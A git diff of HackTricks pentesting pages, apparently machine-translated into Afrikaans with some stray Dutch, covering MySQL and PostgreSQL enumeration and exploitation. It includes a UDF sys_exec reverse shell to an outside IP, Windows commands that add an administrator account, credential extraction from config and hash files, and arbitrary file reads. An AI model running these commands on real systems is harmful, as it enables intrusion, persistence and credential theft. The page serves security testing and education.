* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
|
||||
|
||||
</details>
|
|
@ -9,7 +9,7 @@ Ander maniere om HackTricks te ondersteun:
|
|||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
|
||||
</details>
|
||||
|
@ -25,16 +25,20 @@ Ander maniere om HackTricks te ondersteun:
|
|||
**MySQL** kan beskryf word as 'n oopbron **Relational Database Management System (RDBMS)** wat gratis beskikbaar is. Dit werk met die **Structured Query Language (SQL)**, wat die bestuur en manipulasie van databasisse moontlik maak.
|
||||
|
||||
**Verstekpoort:** 3306
|
||||
|
||||
```
|
||||
3306/tcp open mysql
|
||||
```
|
||||
|
||||
## **Verbind**
|
||||
|
||||
### **Lokaal**
|
||||
|
||||
```bash
|
||||
mysql -u root # Connect to root without password
|
||||
mysql -u root -p # A password will be asked (check someone)
|
||||
```
|
||||
|
||||
### Afstandbediening
|
||||
|
||||
MySQL kan op afstand worden benaderd via het netwerk. Dit betekent dat een aanvaller toegang kan krijgen tot de MySQL-server vanaf een externe locatie. Dit kan worden gedaan door het IP-adres en de poort van de MySQL-server te achterhalen en vervolgens een verbinding tot stand te brengen met behulp van een MySQL-client.
|
||||
|
@ -46,13 +50,16 @@ Het is ook belangrijk om sterke en veilige wachtwoorden te gebruiken voor de MyS
|
|||
Daarnaast is het belangrijk om de MySQL-server regelmatig bij te werken met de nieuwste beveiligingspatches. Dit helpt bij het dichten van eventuele beveiligingslekken die kunnen worden misbruikt door aanvallers.
|
||||
|
||||
Ten slotte kan het gebruik van een firewall ook helpen bij het beperken van de toegang tot de MySQL-server. Door alleen specifieke IP-adressen toe te staan om verbinding te maken met de MySQL-server, kan de blootstelling aan externe aanvallen worden verminderd.
|
||||
|
||||
```bash
|
||||
mysql -h <Hostname> -u root
|
||||
mysql -h <Hostname> -u root@localhost
|
||||
```
|
||||
|
||||
## Eksterne Enumerasie
|
||||
|
||||
Sommige van die enumerasie-aksies vereis geldige geloofsbriewe
|
||||
|
||||
```bash
|
||||
nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 <IP>
|
||||
msf> use auxiliary/scanner/mysql/mysql_version
|
||||
|
@ -62,14 +69,18 @@ msf> use auxiliary/admin/mysql/mysql_enum #Creds
|
|||
msf> use auxiliary/scanner/mysql/mysql_schemadump #Creds
|
||||
msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds
|
||||
```
|
||||
|
||||
### [**Brute force**](../generic-methodologies-and-resources/brute-force.md#mysql)
|
||||
|
||||
### Skryf enige binêre data neer
|
||||
|
||||
```bash
|
||||
CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY)
|
||||
CONVERT(from_base64("aG9sYWFhCg=="), BINARY)
|
||||
```
|
||||
|
||||
## **MySQL-opdragte**
|
||||
|
||||
```bash
|
||||
show databases;
|
||||
use <database>;
|
||||
|
@ -106,6 +117,7 @@ quit;
|
|||
mysql -u username -p < manycommands.sql #A file with all the commands you want to execute
|
||||
mysql -u root -h 127.0.0.1 -e 'show databases;'
|
||||
```
|
||||
|
||||
### MySQL Toestemmingsopsporing
|
||||
|
||||
MySQL-toestemmingsopsporing is een belangrijk onderdeel van het pentestproces, omdat het helpt bij het identificeren van mogelijke beveiligingslekken in een MySQL-database. Door de toestemmingsinstellingen van een MySQL-gebruiker te controleren, kunnen we bepalen welke acties de gebruiker kan uitvoeren op de database.
|
||||
|
@ -161,6 +173,7 @@ SHOW GRANTS FOR 'gebruikersnaam'@'localhost' LIKE '%opdracht%';
|
|||
```
|
||||
|
||||
Het controleren van MySQL-toestemmingen is essentieel om mogelijke beveiligingslekken te identificeren en de beveiliging van een MySQL-database te verbeteren. Door deze methoden toe te passen, kunnen we de toegangsrechten van gebruikers nauwkeurig beoordelen en eventuele kwetsbaarheden opsporen.
|
||||
|
||||
```sql
|
||||
#Mysql
|
||||
SHOW GRANTS [FOR user];
|
||||
|
@ -183,6 +196,7 @@ SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCT
|
|||
#@ Functions not from sys. db
|
||||
SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION' AND routine_schema!='sys';
|
||||
```
|
||||
|
||||
Jy kan in die dokumentasie die betekenis van elke voorreg sien: [https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv\_execute)
|
||||
|
||||
### MySQL-lêer RCE
|
||||
|
@ -195,16 +209,20 @@ Jy kan in die dokumentasie die betekenis van elke voorreg sien: [https://dev.mys
|
|||
|
||||
Eintlik, wanneer jy probeer om **data plaaslik in 'n tabel te laai**, vra die MySQL- of MariaDB-bediener die **kliënt om dit te lees** en die inhoud te stuur. **As jy dus 'n mysql-kliënt kan manipuleer om na jou eie MySQL-bediener te verbind, kan jy willekeurige lêers lees.**\
|
||||
Let asseblief daarop dat dit die gedrag is wanneer jy gebruik maak van:
|
||||
|
||||
```bash
|
||||
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
|
||||
```
|
||||
|
||||
(Notisie die "plaaslike" woord)\
|
||||
Want sonder die "plaaslike" kan jy kry:
|
||||
|
||||
```bash
|
||||
mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
|
||||
|
||||
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
|
||||
```
|
||||
|
||||
**Aanvanklike PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
|
||||
**In hierdie dokument kan jy 'n volledige beskrywing van die aanval sien en selfs hoe om dit uit te brei na RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
|
||||
**Hier kan jy 'n oorsig van die aanval vind:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)
|
||||
|
@ -222,23 +240,25 @@ ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv opti
|
|||
### Mysql-gebruiker
|
||||
|
||||
Dit sal baie interessant wees as mysql as **root** uitgevoer word:
|
||||
|
||||
```bash
|
||||
cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user"
|
||||
systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1
|
||||
```
|
||||
|
||||
#### Gevaarlike Instellings van mysqld.cnf
|
||||
|
||||
In die konfigurasie van MySQL-dienste word verskeie instellings gebruik om sy werking en veiligheidsmaatreëls te definieer:
|
||||
|
||||
- Die **`user`**-instelling word gebruik om die gebruiker aan te dui waarin die MySQL-diens uitgevoer sal word.
|
||||
- **`password`** word gebruik om die wagwoord wat verband hou met die MySQL-gebruiker, te vestig.
|
||||
- **`admin_address`** spesifiseer die IP-adres wat luister vir TCP/IP-verbindings op die administratiewe netwerkinterface.
|
||||
- Die **`debug`**-veranderlike dui op die huidige foutopsporingskonfigurasies, insluitend sensitiewe inligting binne loglêers.
|
||||
- **`sql_warnings`** bestuur of inligtingstrengs gegenereer word vir enkelry-invoegingsopdragte wanneer waarskuwings voorkom, insluitend sensitiewe data binne loglêers.
|
||||
- Met **`secure_file_priv`** word die omvang van data-invoer- en uitvoeroperasies beperk om die veiligheid te verbeter.
|
||||
|
||||
* Die **`user`**-instelling word gebruik om die gebruiker aan te dui waarin die MySQL-diens uitgevoer sal word.
|
||||
* **`password`** word gebruik om die wagwoord wat verband hou met die MySQL-gebruiker, te vestig.
|
||||
* **`admin_address`** spesifiseer die IP-adres wat luister vir TCP/IP-verbindings op die administratiewe netwerkinterface.
|
||||
* Die **`debug`**-veranderlike dui op die huidige foutopsporingskonfigurasies, insluitend sensitiewe inligting binne loglêers.
|
||||
* **`sql_warnings`** bestuur of inligtingstrengs gegenereer word vir enkelry-invoegingsopdragte wanneer waarskuwings voorkom, insluitend sensitiewe data binne loglêers.
|
||||
* Met **`secure_file_priv`** word die omvang van data-invoer- en uitvoeroperasies beperk om die veiligheid te verbeter.
|
||||
|
||||
### Voorregverhoging
|
||||
|
||||
```bash
|
||||
# Get current user (an all users) privileges and hashes
|
||||
use mysql;
|
||||
|
@ -256,6 +276,7 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys
|
|||
# Get a shell (with your permissions, usefull for sudo/suid privesc)
|
||||
\! sh
|
||||
```
|
||||
|
||||
### Voorregverhoging via biblioteek
|
||||
|
||||
As die **mysql-bediener as root** (of 'n ander meer bevoorregte gebruiker) loop, kan jy dit dwing om opdragte uit te voer. Hiervoor moet jy **gebruikersgedefinieerde funksies** gebruik. En om 'n gebruikersgedefinieerde funksie te skep, het jy 'n **biblioteek** nodig vir die bedryfstelsel waarop mysql loop.
|
||||
|
@ -263,13 +284,16 @@ As die **mysql-bediener as root** (of 'n ander meer bevoorregte gebruiker) loop,
|
|||
Die skadelike biblioteek wat gebruik moet word, kan binne sqlmap en binne metasploit gevind word deur **`locate "*lib_mysqludf_sys*"`** uit te voer. Die **`.so`** lêers is **Linux**-biblioteke en die **`.dll`** is die **Windows**-eenhede, kies die een wat jy benodig.
|
||||
|
||||
As jy **nie daardie biblioteke het nie**, kan jy dit óf **soek**, óf hierdie [**Linux C-kode**](https://www.exploit-db.com/exploits/1518) aflaai en **dit binne die kwesbare Linux-masjien kompileer**:
|
||||
|
||||
```bash
|
||||
gcc -g -c raptor_udf2.c
|
||||
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
|
||||
```
|
||||
|
||||
Nou dat jy die biblioteek het, teken binne in die Mysql as 'n bevoorregte gebruiker (root?) en volg die volgende stappe:
|
||||
|
||||
#### Linux
|
||||
|
||||
```sql
|
||||
# Use a database
|
||||
use mysql;
|
||||
|
@ -289,9 +313,10 @@ create function sys_exec returns integer soname 'lib_mysqludf_sys.so';
|
|||
select sys_exec('id > /tmp/out.txt; chmod 777 /tmp/out.txt');
|
||||
select sys_exec('bash -c "bash -i >& /dev/tcp/10.10.14.66/1234 0>&1"');
|
||||
```
|
||||
|
||||
#### Windows
|
||||
|
||||
##### MySQL Service Enumeration
|
||||
**MySQL Service Enumeration**
|
||||
|
||||
Om te begin, moet jy die MySQL-diens op die teikenstelsel identifiseer. Jy kan dit doen deur die volgende stappe te volg:
|
||||
|
||||
|
@ -299,7 +324,7 @@ Om te begin, moet jy die MySQL-diens op die teikenstelsel identifiseer. Jy kan d
|
|||
2. Kyk vir die poortnommer 3306, wat die standaardpoort vir MySQL is.
|
||||
3. As die poort 3306 oop is, dui dit daarop dat die MySQL-diens op die stelsel loop.
|
||||
|
||||
##### MySQL Service Exploitation
|
||||
**MySQL Service Exploitation**
|
||||
|
||||
As jy 'n MySQL-diens op die teikenstelsel geïdentifiseer het, kan jy probeer om dit te misbruik om toegang tot die stelsel te verkry. Hier is 'n paar moontlike aanvalstegnieke:
|
||||
|
||||
|
@ -308,7 +333,7 @@ As jy 'n MySQL-diens op die teikenstelsel geïdentifiseer het, kan jy probeer om
|
|||
3. **Gebruikersprivilege-uitbreiding**: As jy toegang het tot 'n beperkte gebruikerrekening, probeer om jou gebruikersprivileges uit te brei deur spesiale MySQL-opdragte uit te voer.
|
||||
4. **Databasislek**: Ondersoek die databasis vir gevoelige inligting soos wagwoorde, kredietkaartinligting, ens.
|
||||
|
||||
##### MySQL Service Post-Exploitation
|
||||
**MySQL Service Post-Exploitation**
|
||||
|
||||
As jy toegang tot die MySQL-diens verkry het, kan jy verskeie post-exploitasietegnieke gebruik om verdere toegang tot die stelsel te verkry of om inligting te versamel:
|
||||
|
||||
|
@ -317,7 +342,7 @@ As jy toegang tot die MySQL-diens verkry het, kan jy verskeie post-exploitasiete
|
|||
3. **Databasismanipulasie**: Verander of verwyder data in die databasis om die werking van die toepassing of die stelsel te beïnvloed.
|
||||
4. **Databasisrugsteun**: Maak 'n rugsteunkopie van die databasis om belangrike inligting te bewaar of om dit later te gebruik.
|
||||
|
||||
##### MySQL Service Hardening
|
||||
**MySQL Service Hardening**
|
||||
|
||||
Om die veiligheid van die MySQL-diens te verhoog, kan jy die volgende maatreëls toepas:
|
||||
|
||||
|
@ -326,6 +351,7 @@ Om die veiligheid van die MySQL-diens te verhoog, kan jy die volgende maatreëls
|
|||
3. **Bywerk van sagteware**: Verseker dat die MySQL-diens en alle verbonde sagteware op die jongste weergawes is om bekende kwessies en lekke te vermy.
|
||||
4. **Netwerkbeperkings**: Beperk die toegang tot die MySQL-diens deur slegs spesifieke IP-adresse of subnette toe te laat.
|
||||
5. **Logbestuur**: Monitor en analiseer die loglêers van die MySQL-diens vir enige verdagte aktiwiteite of pogings tot aanvalle.
|
||||
|
||||
```sql
|
||||
# CHech the linux comments for more indications
|
||||
USE mysql;
|
||||
|
@ -337,20 +363,25 @@ CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll';
|
|||
SELECT sys_exec("net user npn npn12345678 /add");
|
||||
SELECT sys_exec("net localgroup Administrators npn /add");
|
||||
```
|
||||
|
||||
### Uittreksel van MySQL-gelde van lêers
|
||||
|
||||
Binne _/etc/mysql/debian.cnf_ kan jy die **plain-tekswagwoord** van die gebruiker **debian-sys-maint** vind.
|
||||
|
||||
```bash
|
||||
cat /etc/mysql/debian.cnf
|
||||
```
|
||||
|
||||
Jy kan **hierdie geloofsbriewe gebruik om in die MySQL-databasis in te teken**.
|
||||
|
||||
Binne die lêer: _/var/lib/mysql/mysql/user.MYD_ kan jy **al die hasings van die MySQL-gebruikers** vind (diegene wat jy kan onttrek uit mysql.user binne die databasis)_._
|
||||
|
||||
Jy kan hulle onttrek deur die volgende te doen:
|
||||
|
||||
```bash
|
||||
grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"
|
||||
```
|
||||
|
||||
### Aktivering van logging
|
||||
|
||||
U kan die log van MySQL navrae aktiveer deur die volgende lyne in `/etc/mysql/my.cnf` te ontkommentarieer:
|
||||
|
@ -383,8 +414,6 @@ Konfigurasie-lêers
|
|||
|
||||
## Standaard MySQL-databasis/tabelle
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="information_schema" %}
|
||||
ALL\_PLUGINS\
|
||||
APPLICABLE\_ROLES\
|
||||
CHARACTER\_SETS\
|
||||
|
@ -463,9 +492,7 @@ INNODB\_TABLESPACES\_ENCRYPTION\
|
|||
user\_variables\
|
||||
INNODB\_TABLESPACES\_SCRUBBING\
|
||||
INNODB\_SYS\_SEMAPHORE\_WAITS
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="mysql" %}
|
||||
columns\_priv\
|
||||
column\_stats\
|
||||
db\
|
||||
|
@ -504,9 +531,7 @@ time\_zone\_transition\
|
|||
time\_zone\_transition\_type\
|
||||
transaction\_registry\
|
||||
user
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="performance_schema" %}
|
||||
accounts\
|
||||
cond\_instances\
|
||||
events\_stages\_current\
|
||||
|
@ -594,9 +619,7 @@ threads\
|
|||
user\_variables\_by\_thread\
|
||||
users\
|
||||
variables\_by\_thread
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="sys" %}
|
||||
host\_summary\
|
||||
host\_summary\_by\_file\_io\
|
||||
host\_summary\_by\_file\_io\_type\
|
||||
|
@ -613,8 +636,7 @@ io\_global\_by\_wait\_by\_bytes\
|
|||
io\_global\_by\_wait\_by\_latency\
|
||||
latest\_file\_io\
|
||||
memory\_by\_host\_by\_current\_bytes\
|
||||
memory\_by\_thread\_by\_current
|
||||
schema\_table\_statistics\
|
||||
memory\_by\_thread\_by\_current schema\_table\_statistics\
|
||||
schema\_table\_statistics\_with\_buffer\
|
||||
schema\_tables\_with\_full\_table\_scans\
|
||||
schema\_unused\_indexes\
|
||||
|
@ -689,6 +711,7 @@ x$waits\_by\_user\_by\_latency\
|
|||
x$waits\_global\_by\_latency
|
||||
|
||||
## HackTricks Outomatiese Opdragte
|
||||
|
||||
```
|
||||
Protocol_Name: MySql #Protocol Abbreviation if there is one.
|
||||
Port_Number: 3306 #Comma separated if there is more than one.
|
||||
|
@ -719,6 +742,7 @@ Note: sourced from https://github.com/carlospolop/legion
|
|||
Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'
|
||||
|
||||
```
|
||||
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com/) is die mees relevante sibersekuriteitsgebeurtenis in **Spanje** en een van die belangrikste in **Europa**. Met **die missie om tegniese kennis te bevorder**, is hierdie kongres 'n kookpunt vir tegnologie- en sibersekuriteitsprofessionals in elke dissipline.
|
||||
|
@ -734,7 +758,7 @@ Ander maniere om HackTricks te ondersteun:
|
|||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslagplekke.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -27,11 +27,14 @@ Ander maniere om HackTricks te ondersteun:
|
|||
**PostgreSQL** word beskryf as 'n **objek-relasionele databasisstelsel** wat **oorspronklik** is. Hierdie stelsel maak nie net gebruik van die SQL-taal nie, maar verbeter dit ook met addisionele kenmerke. Sy vermoëns stel dit in staat om 'n wye verskeidenheid data-tipes en operasies te hanteer, wat dit 'n veelsydige keuse maak vir ontwikkelaars en organisasies.
|
||||
|
||||
**Verstekpoort:** 5432, en as hierdie poort reeds in gebruik is, lyk dit asof postgresql die volgende poort sal gebruik (waarskynlik 5433) wat nie in gebruik is nie.
|
||||
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
5432/tcp open pgsql
|
||||
```
|
||||
|
||||
## Koppel & Basiese Enum
|
||||
|
||||
```bash
|
||||
psql -U <myuser> # Open psql console with user
|
||||
psql -h <host> -U <username> -d <database> # Remote connection
|
||||
|
@ -71,6 +74,7 @@ SELECT * FROM pg_extension;
|
|||
# Get history of commands executed
|
||||
\s
|
||||
```
|
||||
|
||||
{% hint style="warning" %}
|
||||
As jy **`\list`** hardloop en 'n databasis met die naam **`rdsadmin`** vind, weet jy dat jy binne 'n **AWS postgresql databasis** is.
|
||||
{% endhint %}
|
||||
|
@ -82,15 +86,18 @@ Vir meer inligting oor **hoe om 'n PostgreSQL databasis te misbruik** kyk:
|
|||
{% endcontent-ref %}
|
||||
|
||||
## Outomatiese Opsomming
|
||||
|
||||
```
|
||||
msf> use auxiliary/scanner/postgres/postgres_version
|
||||
msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection
|
||||
```
|
||||
|
||||
### [**Brute force**](../generic-methodologies-and-resources/brute-force.md#postgresql)
|
||||
|
||||
### **Poort skandering**
|
||||
|
||||
Volgens [**hierdie navorsing**](https://www.exploit-db.com/papers/13084), wanneer 'n verbindingspoging misluk, gooi `dblink` 'n `sqlclient_unable_to_establish_sqlconnection` uitsondering wat 'n verduideliking van die fout insluit. Voorbeelde van hierdie besonderhede word hieronder gelys.
|
||||
|
||||
```sql
|
||||
SELECT * FROM dblink_connect('host=1.2.3.4
|
||||
port=5678
|
||||
|
@ -99,20 +106,25 @@ password=secret
|
|||
dbname=abc
|
||||
connect_timeout=10');
|
||||
```
|
||||
|
||||
* Gasheer is af
|
||||
|
||||
`DETAIL: kon nie aan die bediener koppel nie: Geen roete na gasheer Is die bediener aan die hardloop op gasheer "1.2.3.4" en aanvaar TCP/IP-koppeling op poort 5678?`
|
||||
|
||||
* Poort is toe
|
||||
|
||||
```
|
||||
DETAIL: could not connect to server: Connection refused Is the server
|
||||
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
|
||||
```
|
||||
|
||||
* Poort is oop
|
||||
|
||||
```
|
||||
DETAIL: server closed the connection unexpectedly This probably means
|
||||
the server terminated abnormally before or while processing the request
|
||||
```
|
||||
|
||||
### PostgreSQL Pentesting
|
||||
|
||||
#### PostgreSQL Enumeration
|
||||
|
@ -139,34 +151,38 @@ As jy 'n kwesbaarheid in PostgreSQL vind, kan jy dit uitbuit deur die volgende s
|
|||
3. **Data Exfiltration**: Steel sensetiewe data uit die databasis vir verdere aanvalle of ekstorsie.
|
||||
|
||||
Deur hierdie tegnieke te gebruik, kan jy die veiligheid van PostgreSQL-databasisse toets en verbeter.
|
||||
|
||||
```
|
||||
DETAIL: FATAL: password authentication failed for user "name"
|
||||
```
|
||||
|
||||
* Poort is oop of gefiltreer
|
||||
|
||||
```
|
||||
DETAIL: could not connect to server: Connection timed out Is the server
|
||||
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
|
||||
```
|
||||
|
||||
In PL/pgSQL funksies, is dit tans nie moontlik om uitsonderingsbesonderhede te verkry nie. Indien jy egter direkte toegang tot die PostgreSQL-bediener het, kan jy die nodige inligting terugkry. As dit nie haalbaar is om gebruikersname en wagwoorde uit die stelseltabelle te onttrek nie, kan jy oorweeg om die woordelysaanvalsmetode wat bespreek is in die vorige afdeling, te gebruik, aangesien dit moontlik positiewe resultate kan oplewer.
|
||||
|
||||
## Enumerasie van Voorregte
|
||||
|
||||
### Rolle
|
||||
|
||||
| Rol Tipes | |
|
||||
| -------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| rolsuper | Rol het supergebruiker-voorregte |
|
||||
| rolinherit | Rol erf outomaties voorregte van rolle waarvan dit 'n lid is |
|
||||
| rolcreaterole | Rol kan meer rolle skep |
|
||||
| rolcreatedb | Rol kan databasisse skep |
|
||||
| rolcanlogin | Rol kan aanmeld. Dit beteken dat hierdie rol as die aanvanklike sessie-outorisasie-identifiseerder gegee kan word |
|
||||
| rolreplication | Rol is 'n replikasie rol. 'n Replikasie rol kan replikasieverbindinge inisieer en replikasieslotte skep en laat val |
|
||||
| rolconnlimit | Vir rolle wat kan aanmeld, stel dit die maksimum aantal gelyktydige verbindinge in wat hierdie rol kan maak. -1 beteken geen limiet |
|
||||
| rolpassword | Nie die wagwoord nie (lees altyd as `********`) |
|
||||
| rolvaliduntil | Wagwoordvervaltyd (slegs gebruik vir wagwoordverifikasie); nul indien geen verval |
|
||||
| rolbypassrls | Rol verbygaan elke ryvlak-sekuriteitsbeleid, sien [Afdeling 5.8](https://www.postgresql.org/docs/current/ddl-rowsecurity.html) vir meer inligting |
|
||||
| rolconfig | Rol-spesifieke verstekwaardes vir hardlooptydkonfigurasie-veranderlikes |
|
||||
| oid | ID van rol |
|
||||
| Rol Tipes | |
|
||||
| -------------- | ------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| rolsuper | Rol het supergebruiker-voorregte |
|
||||
| rolinherit | Rol erf outomaties voorregte van rolle waarvan dit 'n lid is |
|
||||
| rolcreaterole | Rol kan meer rolle skep |
|
||||
| rolcreatedb | Rol kan databasisse skep |
|
||||
| rolcanlogin | Rol kan aanmeld. Dit beteken dat hierdie rol as die aanvanklike sessie-outorisasie-identifiseerder gegee kan word |
|
||||
| rolreplication | Rol is 'n replikasie rol. 'n Replikasie rol kan replikasieverbindinge inisieer en replikasieslotte skep en laat val |
|
||||
| rolconnlimit | Vir rolle wat kan aanmeld, stel dit die maksimum aantal gelyktydige verbindinge in wat hierdie rol kan maak. -1 beteken geen limiet |
|
||||
| rolpassword | Nie die wagwoord nie (lees altyd as `********`) |
|
||||
| rolvaliduntil | Wagwoordvervaltyd (slegs gebruik vir wagwoordverifikasie); nul indien geen verval |
|
||||
| rolbypassrls | Rol verbygaan elke ryvlak-sekuriteitsbeleid, sien [Afdeling 5.8](https://www.postgresql.org/docs/current/ddl-rowsecurity.html) vir meer inligting |
|
||||
| rolconfig | Rol-spesifieke verstekwaardes vir hardlooptydkonfigurasie-veranderlikes |
|
||||
| oid | ID van rol |
|
||||
|
||||
#### Interessante Groepe
|
||||
|
||||
|
@ -177,6 +193,7 @@ In PL/pgSQL funksies, is dit tans nie moontlik om uitsonderingsbesonderhede te v
|
|||
{% hint style="info" %}
|
||||
Let daarop dat in Postgres 'n **gebruiker**, 'n **groep** en 'n **rol** dieselfde is. Dit hang net af van **hoe jy dit gebruik** en of jy dit toelaat om aan te meld.
|
||||
{% endhint %}
|
||||
|
||||
```sql
|
||||
# Get users roles
|
||||
\du
|
||||
|
@ -220,7 +237,9 @@ CREATE ROLE u LOGIN PASSWORD 'lriohfugwebfdwrr' IN GROUP pg_read_server_files;
|
|||
## Common error
|
||||
## Cannot GRANT on the "pg_read_server_files" role without being a member of the role.
|
||||
```
|
||||
|
||||
### Tabelle
|
||||
|
||||
```sql
|
||||
# Get owners of tables
|
||||
select schemaname,tablename,tableowner from pg_tables;
|
||||
|
@ -234,7 +253,9 @@ SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.ro
|
|||
## If nothing, you don't have any permission
|
||||
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants WHERE table_name='pg_shadow';
|
||||
```
|
||||
|
||||
### Funksies
|
||||
|
||||
```sql
|
||||
# Interesting functions are inside pg_catalog
|
||||
\df * #Get all
|
||||
|
@ -254,26 +275,32 @@ ORDER BY routines.routine_name, parameters.ordinal_position;
|
|||
# Another aparent option
|
||||
SELECT * FROM pg_proc;
|
||||
```
|
||||
|
||||
## Lêerstelselaksies
|
||||
|
||||
### Lees gids en lêers
|
||||
|
||||
Vanaf hierdie [**commit**](https://github.com/postgres/postgres/commit/0fdc8495bff02684142a44ab3bc5b18a8ca1863a) kan lede van die gedefinieerde **`DEFAULT_ROLE_READ_SERVER_FILES`** groep (genaamd **`pg_read_server_files`**) en **supergebruikers** die **`COPY`** metode gebruik op enige pad (kyk na `convert_and_check_filename` in `genfile.c`):
|
||||
|
||||
```sql
|
||||
# Read file
|
||||
CREATE TABLE demo(t text);
|
||||
COPY demo from '/etc/passwd';
|
||||
SELECT * FROM demo;
|
||||
```
|
||||
|
||||
{% hint style="warning" %}
|
||||
Onthou dat as jy nie 'n supergebruiker is nie, maar die **CREATEROLE**-permissies het, kan jy **jouself lid van daardie groep maak:**
|
||||
|
||||
```sql
|
||||
GRANT pg_read_server_files TO username;
|
||||
```
|
||||
|
||||
[**Meer inligting.**](pentesting-postgresql.md#privilege-escalation-with-createrole)
|
||||
{% endhint %}
|
||||
|
||||
Daar is **ander postgres-funksies** wat gebruik kan word om **'n lêer te lees of 'n gids te lys**. Slegs **supergebruikers** en **gebruikers met uitdruklike toestemmings** kan hulle gebruik:
|
||||
